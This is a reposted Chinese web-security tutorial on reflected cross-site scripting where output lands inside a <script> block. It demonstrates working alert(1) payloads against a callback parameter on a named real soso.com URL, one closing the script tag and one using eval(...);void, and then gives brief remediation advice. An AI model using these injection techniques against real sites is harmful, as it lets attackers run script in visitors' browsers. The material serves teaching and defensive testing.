xss实例-输出在script/script之间的情况
1. 我们找到这么一个点,也是输入和输出都未过滤的一个点。相比教程第一例,其特殊之处在于,是输出在了 <script>[输出]</script>之间。
http://activity.soso.com/common/setParentsInfo.php?callback=aaaaaaaaa
如下图:callback参数未做过滤。 在【查看源代码】下,我们可以看到。
缺陷网页源代码:
<script type='text/javascript'>document.domain='soso.com';_ret={"_res":2};try{parent.aaa(_ret);}catch(err){aaa(_ret);}</script>
2. 碰到这种情况,我们一般有以下解法。
2.1 首先判断,是否过滤了 < , > , / 等符号,
2.2 如果都没有过滤,恭喜你,一般可以直接XSS了。代码如下:
http://activity.soso.com/common/setParentsInfo.php?callback=aaaaaaaaa</script><script>alert(1)</script>
原理入下图:
构造callback参数后的源代码
<script type='text/javascript'>document.domain='soso.com';_ret={"_res":2};try{parent.aaaaaaaaa</script><script>alert(1)</script>(_ret);}catch(err){aaaaaaaaa</script><script>alert(1)</script>(_ret);}</script>
2.3 如果过滤了 <, >,那么就无法使用上面的办法了。我们接着看 3
3. script代码里的构造。
友情提示:这里可能需要一点点 javascript 的知识才行哦~~
我们可以如下构造:
http://activity.soso.com/common/setParentsInfo.php?callback=eval('alert(1)');void
可以看到,源代码是下面的样子。
也就是说,我们插入的内容,使得这一段javascript依然【语法正确】,能够【正确执行】,并且能够执行【我们所插入的JS代码】,这样我们的目的就达到了。
构造后的源代码如下:
<script type='text/javascript'>document.domain='soso.com';_ret={"_res":2};try{parent.eval('alert(1)');void(_ret);}catch(err){eval('alert(1)');void(_ret);}</script>
4. 这种输出在JS代码里的情况十分常见,但是呢?不幸的是,像这样没过滤的情况,却不是很常见。例如:
var a="[输出]"; // 通常程序员会把 " 过滤掉, 这样的话,一般来说,我们就很难构造。
但是,这并不是说,就一定是不能利用,后面我们会拿腾讯一些【比较有意思】的例子,来进一步说到 这个【输出在js里】的情况的~
修复方案:
这类XSS的模型通常是:
<script>...[输出]...</script>
<style>...[输出]...</script>
解决方案:
1. 过滤 </xxx> 组合
2. 针对输出在不同的场景,进行合适的过滤。
转载于:https://www.cnblogs.com/milantgh/p/3603655.html
xss实例-输出在script/script之间的情况相关推荐
- 面向过程和面向对象的编程思想 复习原型 构造函数和实例对象和原型对象之间的关系
体会面向过程和面向对象的编程思想 <!DOCTYPE html> <html lang="en"> <head><meta charset ...
- java当中有关循环的代码_有关Java循环的内容,编程中还是比较常用的,下面分享给大家几个循环的示例代码,练习一下。1、循环输出1到100之间所有能被3或能被4整除的数。pack...
有关Java循环的内容,编程中还是比较常用的,下面分享给大家几个循环的示例代码,练习一下. 1.循环输出1到100之间所有能被3或能被4整除的数. package com.hz.loop02; /** ...
- 创建一个简单的存储过程(RroGetA_Z),要求输出A到Z之间的26个大写字母
<SQL Server数据库设计与项目实践> ISBN:978-7-302-40610-5 p121 动手实践-实训内容-(1) (1)创建一个简单的存储过程(RroGetA_Z),要求输 ...
- 【Python】青少年蓝桥杯_每日一题_11.03_按要求输出两个正整数之间的数
编程实现 分别输入两个正整数 M.N,输出 M 到 N 之间(含 M.N)所有可被 7 整除,但不是 5 的倍数的数, 并以逗号分隔按顺序打印在一行. 输入描述:分别输入两个正整数 M.N 输出描述: ...
- C语言试题四之计算并输出3到n之间所有素数的平方根之和
1.题目 请编写函数function,它的功能是:计算并输出3到n之间所有素数的平方根之和 例子:若我们main函数从键盘给n输入5之后,我们需要输出结果为3.968119 输入值n的要求:正整数n, ...
- (c语言)输出1到100之间的所有素数
(c语言)输出1到100之间的所有素数(函数实现) 方法一: //输出1-100之间的所有素数要求编写函数(函数实现) #include<stdio.h> #include<stdl ...
- python2到100的素数_python输出2到100之间的素数
目的: 计算2-100之间素数的个数,返回结果 什么是素数? 素数是指在大于1的自然数中,除了1和它本身以外不再有其他因数的自然数. 代码实现:# 定义一个列表接受返回的质数 list_num = [ ...
- Day 7 输出m到n之间的素数
// 素数问题.输入两个正整数m和n(1<=m<=n<=500) //输出m和n之间的全部素数,每行输出10个. //使用嵌套循环解决该问题 #include<stdio.h& ...
- php 10到50的随机数,【单选题】php中以下能输出1到10之间的随机数的是( )
[单选题]php中以下能输出1到10之间的随机数的是( ) 更多相关问题 肺动脉根部有回声失落见于A.室间隔缺损B.房间隔缺损C.动脉导管未闭D.法洛四联症E.主动脉窦瘤破裂 在人的决策过程中,备选方 ...
最新文章
- php7 $this-,在PHP中如何为匿名函数指定this?
- excel表格在保存时出现“隐私问题警告提示”
- 《SAP入门经典(第4版•修订版)》——2.5 4种视角相互结合
- python settings模块导入不了_无法导入设置“myproject.settings”(是否在sys.path上?):没有名为pinax的模块...
- golang return要返回的参数太多_Golang中的Defer必掌握的7知识点
- Android基础 写给新手的Android环境配置
- 关于在平台中设置系统全局变量的使用和场景
- Android 比SwipeRefreshLayout更漂亮和强大的下拉刷新控件:Android-MaterialRefreshLayout
- 如何实现混合线性模型?
- Python读取excel文件数据并画柱状图
- 评价微型计算机有哪些主要性能指标,计算机性能指标有哪些
- JSP传参 input隐藏域
- Flutter设置App的应用名字和应用logo图标的方法(android ios web)
- 包无法进行更新、相关性或冲突验证。 (Exception from HRESULT: 0x80073CF3)的解决办法
- ios可视化编程 UI高级 UI_13
- 什么是web前端?前端可以做什么?html5有什么用?
- 用VBA代码下载网络上的文件
- 电脑桌面壁纸更换后不一会就变成黑屏
- iOS 开发工具整理
- coj_1224: ACM小组的古怪象棋
热门文章
- 如何在ubuntu下安装detectron2_Anaconda中安装Cascade RCNN(Detectron)的若干问题
- python 栈和队列_Python实现栈和队列的简单操作方法示例
- 100 个网络基础知识普及,看完成半个网络高手! 【厦门微思网络】
- office文件已损坏 该服务器,Office文件可能已损坏处理方法
- 0098 高级程序设计 c语言 在线作业,中国大学MOOC(C语言程序设计精髓)作业
- mybatis 无法初始化类_从零开始手写 mybatis(一)MVP 版本
- agv matlab应用,简单介绍一下agv调度控制系统常见的软件应用
- mysql支持UUID做外键_Mysql中以uuid为外键插入多条数据,怎样实现同一个二级分类外键关联的数据为同一个uuid的值...
- chrome 获取硬件信息_在tinycolinux上安装chrome
- 计算机体系结构:嵌入式方法_计算机考研——计算机二级学科详解